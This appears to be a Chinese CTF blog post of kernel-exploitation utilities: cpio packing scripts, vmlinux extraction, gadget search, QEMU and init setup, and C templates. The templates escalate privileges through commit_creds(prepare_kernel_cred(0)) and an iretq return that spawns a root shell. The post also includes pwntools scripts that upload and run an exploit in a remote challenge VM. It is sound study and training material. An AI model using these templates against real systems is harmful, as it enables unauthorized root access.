美文网首页
kernel_pwn 常用指令(不定时更新)

kernel_pwn 常用指令(不定时更新)

作者: cnitlrt | 来源:发表于2020-07-06 16:08 被阅读0次
    首先给出用于打包的脚本:
    #!/bin/sh
    find . -print0 \
    | cpio --null -ov --format=newc \
    | gzip -9 > $1 
    mv $1 ..
    

    这个脚本放在一个喜欢的位置
    然后:

    sudo ln -s 文件位置  /usr/local/bin/gen
    

    使用的时候直接gen 文件名就好

    解包推荐安装unar,万能解压神器,也可以用下面的脚本
    #!/bin/bash
    mv $1 $1.gz
    unar $1.gz
    mv $1 core
    mv $1.gz $1
    echo "[+]Successful"
    

    使用的时候:

    hen core.cpio#这里我给的命令是hen
    
    当程序没有给出vmlinux(相当于libc),可以使用下面的脚本进行获取:
    #!/bin/sh
    # SPDX-License-Identifier: GPL-2.0-only
    # ----------------------------------------------------------------------
    # extract-vmlinux - Extract uncompressed vmlinux from a kernel image
    #
    # Inspired from extract-ikconfig
    # (c) 2009,2010 Dick Streefland <dick@streefland.net>
    #
    # (c) 2011      Corentin Chary <corentin.chary@gmail.com>
    #
    # ----------------------------------------------------------------------
    
    check_vmlinux()
    {
        # Use readelf to check if it's a valid ELF
        # TODO: find a better to way to check that it's really vmlinux
        #       and not just an elf
        readelf -h $1 > /dev/null 2>&1 || return 1
    
        cat $1
        exit 0
    }
    
    try_decompress()
    {
        # The obscure use of the "tr" filter is to work around older versions of
        # "grep" that report the byte offset of the line instead of the pattern.
    
        # Try to find the header ($1) and decompress from here
        for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
        do
            pos=${pos%%:*}
            tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
            check_vmlinux $tmp
        done
    }
    
    # Check invocation:
    me=${0##*/}
    img=$1
    if  [ $# -ne 1 -o ! -s "$img" ]
    then
        echo "Usage: $me <kernel-image>" >&2
        exit 2
    fi
    
    # Prepare temp files:
    tmp=$(mktemp /tmp/vmlinux-XXX)
    trap "rm -f $tmp" 0
    
    # That didn't work, so retry after decompression.
    try_decompress '\037\213\010' xy    gunzip
    try_decompress '\3757zXZ\000' abcde unxz
    try_decompress 'BZh'          xy    bunzip2
    try_decompress '\135\0\0\0'   xxx   unlzma
    try_decompress '\211\114\132' xy    'lzop -d'
    try_decompress '\002!L\030'   xxx   'lz4 -d'
    try_decompress '(\265/\375'   xxx   unzstd
    
    # Finally check for uncompressed images or objects:
    check_vmlinux $img
    
    # Bail out:
    echo "$me: Cannot find vmlinux." >&2
    

    和上面一样,建立软连接的时候选择自己喜欢的指令就好,这里我选则的是vml
    因此直接:

    vml bzImage > vmlinux
    
    在寻找gadget的时候一般使用ropper和ROPgadget来获得gadget,还可以用下面的来获得gadget:
    #!/bin/sh
    objdump -d $1 -M intel | grep -E $2
    echo "Done"
    

    还是要建立一个软连接,可以自定义喜欢的名字,这里我选的是lgadget
    用法:

    lgadget vmlinux "pop|ret"|grep "rdi"
    

    但是不知道为什么虽然速度很快,但是的确很难找,因此推荐使用ropper,也就两分钟就可以找到所有的gadget

    在ubuntu16下ropper有点难安装,可以用如下命令进行安装
    git clone https://github.com/sashs/ropper.git
    cd ropper
    git submodule init
    git submodule update
    ./Ropper.py
    git clone https://github.com/sashs/filebytes.git
    cd filebytes
    sudo python setup.py install
    sudo ln -s ~/ropper/Ropper.py /usr/local/bin/ropper
    

    使用:(以查找pop|ret为例)

    ropper -f vmlinux --nocolor > g1.txt
    grep 'pop rdi; ret;' g1.txt
    
    init:
    #!/bin/sh
    #挂在指令
    mount -t proc proc /proc
    mount -t sysfs sysfs /sys
    mount -t devtmpfs none /dev
    /sbin/mdev -s
    mkdir -p /dev/pts
    mount -vt devpts -o gid=4,mode=620 none /dev/pts
    chmod 666 /dev/ptmx
    #在kernle中我们一般使用commit_creds(prepare_kernel_cred(0))来提权
    #这个相当于用户态的system("sh")
    #在proc/kallsyms存放着我们需要的函数,因此可以直接在窗口用
    #cat /proc/kallsyms |grep commit_cred来寻找函数地址
    #可以使用lsmod来显示程序基地址
    cat /proc/kallsyms > /tmp/kallsyms
    echo 1 > /proc/sys/kernel/kptr_restrict
    echo 1 > /proc/sys/kernel/dmesg_restrict
    ifconfig eth0 up
    udhcpc -i eth0
    ifconfig eth0 10.0.2.15 netmask 255.255.255.0
    route add default gw 10.0.2.2 
    #这里加载了一个驱动一般是需要pwn 的文件
    insmod /core.ko
    
    #poweroff -d 120 -f & #注释掉
    setsid /bin/cttyhack setuidgid 1000 /bin/sh #这里把1换成0可以再我们调试的时候直接root权限即
    #setsid /bin/cttyhack setuidgid 0000 /bin/sh
    echo 'sh end!\n'
    umount /proc
    umount /sys
    
    poweroff -d 0  -f
    

    start.sh

    qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd  ./core.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic  \
    -gdb tcp::2222 //这里用来调试,调试的时候先gdb ./vmlinux -q,进入之后add-symbols-file 漏洞文件 程序基地址(lsmod)
    

    可以用如下两个函数来保存寄存器状态,其中第一个在编译的时候需要加一个-masm=intel

    size_t user_cs, user_ss, user_rflags, user_sp;
    void save_status()
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
                );
        puts("[*]status has been saved.");
    }
    
    // at&t flavor assembly
    void save_stats() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
    );
    }
    

    动态寻找函数地址:

    size_t commit_creds = 0, prepare_kernel_cred = 0;
    size_t vmlinux_base = 0;
    size_t find_symbols()
    {
        FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
        if(kallsyms_fd < 0)
        {
            puts("[*]open kallsyms error!");
            exit(0);
        }
    
        char buf[0x30] = {0};
        while(fgets(buf, 0x30, kallsyms_fd))
        {
            if(commit_creds & prepare_kernel_cred)
                return 0;
    
            if(strstr(buf, "commit_creds") && !commit_creds)
            {
                char hex[20] = {0};
                strncpy(hex, buf, 16);
                sscanf(hex, "%llx", &commit_creds);
                printf("commit_creds addr: %p\n", commit_creds);
                vmlinux_base = commit_creds - 0x9c8e0;
                printf("vmlinux_base addr: %p\n", vmlinux_base);
            }
    
            if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
            {
                char hex[20] = {0};
                strncpy(hex, buf, 16);
                sscanf(hex, "%llx", &prepare_kernel_cred);
                printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
                vmlinux_base = prepare_kernel_cred - 0x9cce0;
            }
        }
    
        if(!(prepare_kernel_cred & commit_creds))
        {
            puts("[*]Error!");
            exit(0);
        }
    
    }
    

    shell

    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/ioctl.h>
    
    void spawn_shell()
    {
        if(!getuid())
        {
            system("/bin/sh");
            printf("[+]Get Root!");
        }
        else
        {
            puts("[*]spawn shell error!");
        }
        exit(0);
    }
    
    void get_root()
    {
        char* (*pkc)(int) = prepare_kernel_cred;
        void (*cc)(char*) = commit_creds;
        (*cc)((*pkc)(0));
    }
    

    模板:

    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <stropts.h>
    #include <sys/wait.h>
    #include <sys/stat.h>
    #include <pthread.h>
    size_t user_cs, user_ss, user_rflags, user_sp;
    size_t commit_creds = 0, prepare_kernel_cred = 0;
    size_t vmlinux_base = 0;
    void save_status()
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
                );
        puts("[*]status has been saved.");
    }
    size_t find_symbols()
    {
        FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
        if(kallsyms_fd < 0)
        {
            puts("[*]open kallsyms error!");
            exit(0);
        }
    
        char buf[0x30] = {0};
        while(fgets(buf, 0x30, kallsyms_fd))
        {
            if(commit_creds & prepare_kernel_cred)
                return 0;
    
            if(strstr(buf, "commit_creds") && !commit_creds)
            {
                char hex[20] = {0};
                strncpy(hex, buf, 16);
                sscanf(hex, "%llx", &commit_creds);
                printf("commit_creds addr: %p\n", commit_creds);
                vmlinux_base = commit_creds - 0x9c8e0;
                printf("vmlinux_base addr: %p\n", vmlinux_base);
            }
    
            if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
            {
                char hex[20] = {0};
                strncpy(hex, buf, 16);
                sscanf(hex, "%llx", &prepare_kernel_cred);
                printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
                vmlinux_base = prepare_kernel_cred - 0x9cce0;
            }
        }
    
        if(!(prepare_kernel_cred & commit_creds))
        {
            puts("[*]Error!");
            exit(0);
        }
    
    }
    
    void get_shell(void){
        system("/bin/sh");
    }
    
    void get_root()
    {
        char* (*pkc)(int) = prepare_kernel_cred;
        void (*cc)(char*) = commit_creds;
        (*cc)((*pkc)(0));
    }
    void spawn_shell()
    {
        if(!getuid())
        {
            puts("Get shell");
            system("/bin/sh");
        }
        else
        {
            puts("[*]spawn shell error!");
        }
        exit(0);
    }
    int exp(){
        get_root();
        __asm__(
            "push user_ss;"
            "push user_sp;"
            "push user_rflags;"
            "push user_cs;"
            "push spawn_shell;"
            "swapgs;"
            "iretq;"
         );
    }
    int main()
    {
        save_status();
        signal(SIGSEGV, spawn_shell);
        signal(SIGTRAP, spawn_shell);
        int fd = open("file",2);
        if(fd < 0){
            puts("open error");
            exit(0);
        }
    }
    
    

    下断点:
    在ida里面我们看到的都是开了kaslr显示的数据,(相当于开了pie),因此可以像以前下断点那样下b*(codebase+偏移地址),其中codebase就是程序加载基地址,用lsmod即可查看

    寻找cred结构体大小的方法,root权限通过:
    cat /proc/kallsyms |grep "cred_init"
    

    然后将所得地址的后几位记下来,将vmlinux导入ida,查找后几位得到cred的大小


    上传脚本:

    需要在当前目录下创建一个poc文件并将其中的c代码命名为exp.c

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from pwn import *
    import os
    
    # context.log_level = 'debug'
    cmd = '$ '
    
    
    def exploit(r):
        r.sendlineafter(cmd, 'stty -echo')
        os.system('musl-gcc  -static -O2 ./poc/exp.c -o ./poc/exp -masm=intel')
        os.system('gzip -c ./poc/exp > ./poc/exp.gz')
        r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
        r.sendline((read('./poc/exp.gz')).encode('base64'))
        r.sendline('EOF')
        r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
        r.sendlineafter(cmd, 'gunzip ./exp.gz')
        r.sendlineafter(cmd, 'chmod +x ./exp')
        r.sendlineafter(cmd, './exp')
        r.interactive()
    
    
    # p = process('./startvm.sh', shell=True)
    p = remote('nc.eonew.cn',10100)
    
    exploit(p)
    

    上传脚本2:

    #coding:utf8
    from pwn import *
    import base64
    context.log_level = 'debug'
    os.system("musl-gcc 1.c -o exp --static")
    sh = remote('127.0.0.1',5555)
     
    f = open('./exp','rb')
    content = f.read()
    total = len(content)
    f.close()
    per_length = 0x200;
    sh.sendlineafter('# ','touch /tmp/exploit')
    for i in range(0,total,per_length):
       bstr = base64.b64encode(content[i:i+per_length])
       sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
    if total - i > 0:
       bstr = base64.b64encode(content[total-i:total])
       sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
     
    sh.sendlineafter('# ','chmod +x /tmp/exploit')
    sh.sendlineafter('# ','/tmp/exploit')
     
     
    sh.interactive()
    

    相关文章

      网友评论

          本文标题:kernel_pwn 常用指令(不定时更新)

          本文链接:https://www.haomeiwen.com/subject/wacrqktx.html